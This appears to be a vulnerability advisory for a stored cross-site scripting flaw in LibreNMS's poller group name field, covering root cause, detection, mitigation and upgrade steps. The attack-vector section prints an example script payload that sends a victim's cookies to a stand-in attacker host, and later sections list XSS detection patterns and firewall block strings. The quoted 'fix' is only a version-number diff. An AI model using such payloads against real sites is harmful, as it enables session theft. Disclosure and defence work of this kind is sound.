CVE-2025-47931: LibreNMS Stored XSS Vulnerability

CVE-2025-47931 Overview

CVE-2025-47931 is a stored Cross-Site Scripting (XSS) vulnerability [CWE-79] affecting LibreNMS, a PHP/MySQL/SNMP-based network monitoring platform. The flaw exists in the group name parameter of the poller groups form at http://localhost/poller/groups. LibreNMS versions 25.4.0 and prior fail to properly sanitize user input in this parameter, allowing authenticated attackers to inject malicious JavaScript that executes when other users view the affected page. The vendor addressed the issue in LibreNMS 25.5.0.

Critical Impact
Attackers with access to the poller groups form can persist JavaScript payloads that execute in the browser session of any user viewing the group listing, enabling session theft and unauthorized actions in the monitoring interface.

Affected Products

LibreNMS versions 25.4.0 and earlier
Component: includes/html/pages/addhost.inc.php
Fixed in LibreNMS 25.5.0

Discovery Timeline

2025-05-17 - CVE-2025-47931 published to NVD
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-47931

Vulnerability Analysis

The vulnerability resides in how LibreNMS handles the group name field submitted through the poller groups configuration form. The application stores the supplied value and later renders it in the web interface without adequate output encoding. Any HTML or JavaScript embedded in the group name persists in the backend database and executes each time an authenticated user loads the poller groups page.

Because the payload is stored server-side, exploitation does not require repeated attacker interaction. A single injected value can affect every administrator or operator who views the affected view. The vulnerability is classified under [CWE-79]: Improper Neutralization of Input During Web Page Generation.

Root Cause

The root cause is missing output encoding in the poller groups rendering path. The code at includes/html/pages/addhost.inc.php line 284 in the 25.4.0 release outputs the stored group name into HTML context without escaping special characters such as <, >, and ". Any script tags or event handlers included in the value are treated as executable markup by the browser.

Attack Vector

An attacker with permission to create or modify poller groups submits a crafted group name containing a JavaScript payload, for example <script>fetch('//attacker/'+document.cookie)</script>. The payload is stored and rendered inline on subsequent visits to the groups page. Successful exploitation requires user interaction because a victim must load the affected page for the script to execute.

php

// Fix committed in LibreNMS 25.5.0 - version bump reflecting the security patch
class Version
{
    /** @var string Update this on release */
-    public const VERSION = '25.4.0';
+    public const VERSION = '25.5.0';

    /** @var Git convenience instance */
    public $git;

Source: LibreNMS commit 88fe1a7

Detection Methods for CVE-2025-47931

Indicators of Compromise

Poller group names in the LibreNMS database containing HTML tags such as <script>, <img>, or onerror= attributes.
Unexpected outbound HTTP requests from administrator browsers to unknown domains shortly after loading the poller groups view.
New or modified poller group entries created by low-privilege or unfamiliar user accounts.

Detection Strategies

Query the LibreNMS database for poller_groups entries with values matching common XSS patterns such as <, javascript:, or on[a-z]+=.
Review web server access logs for POST requests to /poller/groups containing URL-encoded script fragments.
Correlate administrator session activity with anomalous requests to external hosts sourced from the LibreNMS domain.

Monitoring Recommendations

Enable audit logging for configuration changes in LibreNMS and forward those logs to a centralized SIEM for review.
Alert on browser Content Security Policy (CSP) violations reported by users of the LibreNMS console.
Monitor the LibreNMS GitHub advisory feed for related follow-up disclosures under GHSA-hxw5-9cc5-cmw5.

How to Mitigate CVE-2025-47931

Immediate Actions Required

Upgrade LibreNMS to version 25.5.0 or later, which contains the official patch.
Audit existing poller group records and remove any entries containing HTML or JavaScript markup.
Restrict access to the poller groups configuration to trusted administrators only.

Patch Information

The fix is delivered in LibreNMS 25.5.0 via commit 88fe1a7abdb500d9a2d4c45f9872df54c9ff8062 and Pull Request #17603. Details are documented in the GitHub Security Advisory GHSA-hxw5-9cc5-cmw5. Administrators running LibreNMS through the standard update mechanism should run ./daily.sh to pull the patched release.

Workarounds

Limit user accounts that can create or edit poller groups to a small set of vetted administrators until the upgrade is complete.
Deploy a web application firewall rule that blocks requests to /poller/groups containing <script, onerror=, or javascript: substrings.
Enforce a strict Content Security Policy on the LibreNMS virtual host to prevent inline script execution.

bash

# Update LibreNMS to the patched release
cd /opt/librenms
sudo -u librenms git fetch --tags
sudo -u librenms git checkout 25.5.0
sudo -u librenms ./daily.sh
sudo -u librenms php validate.php